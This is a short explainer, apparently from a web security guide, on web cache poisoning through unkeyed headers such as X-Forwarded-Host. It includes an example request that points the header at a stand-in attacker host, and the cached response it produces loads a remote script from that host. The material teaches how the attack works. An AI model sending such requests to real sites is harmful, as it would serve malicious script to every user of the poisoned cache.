1 Poisoning via Unkeyed Headers
Web cache poisoning exploits the difference between how a cache keys responses (decides if a cached version exists) and how the backend application uses request headers in its responses.
The attack:
- Attacker sends a request with a malicious header the cache does not key on
- Backend reflects the header value in the response (e.g., a script URL)
- Cache stores this poisoned response
- All subsequent users receive the malicious response
Example using X-Forwarded-Host:
GET /page HTTP/1.1
Host: legitimate.com
X-Forwarded-Host: attacker.com ← Not in cache key but reflected by backend!
Response (cached):
<script src="//attacker.com/evil.js"></script>Other commonly unkeyed headers: X-Forwarded-Scheme, X-Original-URL, X-Rewrite-URL, X-HTTP-Method-Override.
The poisoned response is served to all users requesting the same cache key (URL), potentially affecting thousands of users.